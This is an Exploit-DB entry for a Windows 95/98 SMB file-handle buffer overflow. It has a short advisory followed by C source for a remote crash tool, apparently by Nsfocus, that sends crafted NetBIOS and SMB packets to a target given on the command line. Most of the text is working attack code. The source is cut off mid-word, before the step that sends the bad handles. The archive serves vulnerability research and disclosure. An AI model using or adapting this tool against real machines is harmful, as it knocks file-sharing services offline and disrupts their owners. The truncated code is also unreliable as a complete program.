Exploit-DB #20288
Description: Microsoft Windows 9x - File Handle Buffer Overflow
Type: remote
Platform: windows
Date: 2000-07-10
Author: Nsfocus

Exploit:
// source: https://www.securityfocus.com/bid/1796/info

The file sharing (SMB) service in Windows enables client applications to access and modify files from a server on the network. 

The SMB service within Windows 95/98 allocates 0x400*4 bytes to store file handles. Therefore, a file handle returned to a client will be in the range 0 - 1023. When SMB commands such as SMBfindclose are sent to the service specifying a specially crafted handle out of that range, the sharing service will attempt to access illegal memory address.

Successful exploitation of this vulnerability will cause the sharing service to buffer overflow and likely crash.


#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <string.h>


int main(int argc, char **argv)
{
char *server;
char buff[1000];
char buff2[1000];
char buffgetname[]=
{0x00,0x72,0x00,0x10,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x43,0x4b,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00,0x00,0x21,
0x00,0x01};
char name;
char myname[0x200]={"hello"};
char servername[]={"*SMBSERVER"};
char buff3[]=
{0x81,0,0,0x44,0x20,0x45,0x4f,0x45,0x42,0x45,0x4a,0x43,0x48,0x46,0x44,0x43,0x41,
0x46,0x48,0x45,0x50,0x46,0x43,0x45,0x4d,0x45,0x45,0x43,0x41,0x43,0x41,0x43,0x41,
0x43,0x41,0x43,0x41,00,0x20,0x45,0x48,0x46,0x46,0x45,0x46,0x46,0x44,0x46,0x45,
0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,
0x43,0x41,0x43,0x41,0x41,0x41,00
};
char buff4[]={
0x0,0x0,0x0,0x9a,0xff,0x53,0x4d,0x42,0x72,00,00, 00, 00, 00, 00, 00, 00, 00,
00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 ,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x77,0x00,0x02,0x50,0x43,0x20,0x4e,0x45,0x54,0x57,0x4f,0x52,0x4b,0x20,0x50,
0x52,0x4f,0x47,0x52,0x41,0x4d,0x20,0x31,0x2e,0x30,0x00,0x02,0x4d,0x49,0x43,0x52,
0x4f,0x53,0x4f,0x46,0x54,0x20,0x4e,0x45,0x54,0x57,0x4f,0x52,0x4b,0x53,0x20,0x33,
0x2e,0x30,0x00,0x02,0x44,0x4f,0x53,0x20,0x4c,0x4d,0x31,0x2e,0x32,0x58,0x30,0x30,
0x32,0x00,0x02,0x44,0x4f,0x53,0x20,0x4c,0x41,0x4e,0x4d,0x41,0x4e,0x32,0x2e,0x31,
0x00,0x02,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x66,0x6f,0x72,0x20,0x57,0x6f,
0x72,0x6b,0x67,0x72,0x6f,0x75,0x70,0x73,0x20,0x33,0x2e,0x31,0x61,0x00,0x02,0x4e,
0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00,0
};
int fileid_begin=0x600;
int fileid_end=0x8ff;
char smbchr[]={"SMBr"};
char namereturn[]={0x82,0,0,0,0};
char ipaddr[]={"192.168.1.1"};
char ipaddrbak[]={"127.0.0.1"};

int port,gethost;
int fd,fd2;

struct sockaddr_in s_in,s_in2,s_in3;
struct linger time_out;
struct hostent *he;
int i,j,k;
SOCKET d_ip;
WSADATA wsaData;
int result= WSAStartup(MAKEWORD(1, 1), &wsaData);
if (result != 0) {
        fprintf(stderr, "Your computer was not connected "
            "to the Internet at the time that "
            "this program was launched, or you "
            "do not have a 32-bit "
            "connection to the Internet.");
        exit(1);
    }


if(argc <2)
{
WSACleanup( );
    fprintf(stderr,"\n nuke win9x netbios .\n copy by yuange(yuange@nsfocus.com) 2000.4.1. \n
                       wellcome to our homepage http://www.nsfocus.com .");
    fprintf(stderr, "\n usage: %s <server> [port] \n", argv[0]);
exit(1);
}
if(argc>=2)
server = argv[1];
else server=&ipaddr;
d_ip = inet_addr(server);

if(d_ip==-1){
he = gethostbyname(server);
if(!he)
{
WSACleanup( );
    printf("\n Can't get the ip of %s !\n",server);
exit(1);
    }
    else memcpy(&d_ip, he->h_addr, 4);

}
if(argc>2) port = atoi(argv[2]);
else port=139;

fd = socket(AF_INET, SOCK_STREAM,0);
i=8000;
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,&i,sizeof(i));

s_in.sin_family = AF_INET;
s_in.sin_port = htons(port);
s_in.sin_addr.s_addr = d_ip;
printf("\n nuke ip: %s port %d",inet_ntoa(s_in.sin_addr),htons(s_in.sin_port));

if(!connect(fd, (struct sockaddr *)&s_in, sizeof(struct sockaddr_in))){

fd2 = socket(AF_INET, SOCK_DGRAM,0);
    i=8000;
    setsockopt(fd2,SOL_SOCKET,SO_RCVTIMEO,&i,sizeof(i));

s_in2.sin_family = AF_INET;
s_in2.sin_port = htons(500);
s_in2.sin_addr.s_addr =0;

    s_in3.sin_family = AF_INET;
s_in3.sin_port = htons(137);
s_in3.sin_addr.s_addr = d_ip;
    bind(fd2,&s_in2, sizeof(struct sockaddr_in));
for(k=0;k<10;++k){
        printf("\n connect the smb %d times",k+1);
sendto(fd2,buffgetname,0x32,0,&s_in3,sizeof(struct sockaddr_in));
        i= sizeof(struct sockaddr_in);

        for(i=0;i<520;++i) buff2[i]=0;
    j=recvfrom(fd2,buff2,500,0,&s_in3,&i);
        i=0x39;
        while(i<j){
            if(buff2[i+0x0f]==0x20) {
                memcpy(servername,buff2+i,0x40);
                break;
            }
            i+=0x12;
        }

        if(i>=j){
        he=gethostbyaddr(&d_ip,sizeof(d_ip),PF_INET);
    if(he) memcpy(servername,he->h_name,0x40);
        }
        printf("\n server computername: %s",servername);

    gethost=0;
    for(i=0;i<16;++i){
        name=servername[i] ;
        if(name==0) gethost=1;
        if(gethost==1) name=0x20;
        buff3[2*i+5]= ( (name >> 4) & 0x000F ) + 'A';
        buff3[2*i+6]= (name & 0x000F) + 'A';
        }
    buff3[37]=0;
    gethost=0;
    for(i=0;i<16;++i){
            name=servername[i];
            if(name==0) gethost=1;
        if(gethost==1) name=0x20;
        buff3[2*i+39]= ( (name >> 4) & 0x000F ) + 'A';
        buff3[2*i+40]= (name & 0x000F) + 'A';

        }
    buff3[71]=0;

    i=send(fd,buff3,0x48,0);
    printf("\n send name packet %d bytes",i);
    buff2[0]=0;
    buff2[1]=0;
    buff2[2]=0;
    buff2[3]=0;
    buff2[4]=0;
    i=recv(fd,buff2,600,0);
    printf("\n recv :");
    if(i>0){
            for(j=0;j<i;++j) {
                name=(char * )buff2[j];
                printf("%d ",name);
            }
        }
        if(memcmp(buff2,namereturn,4)==0) k=100;
    }

    closesocke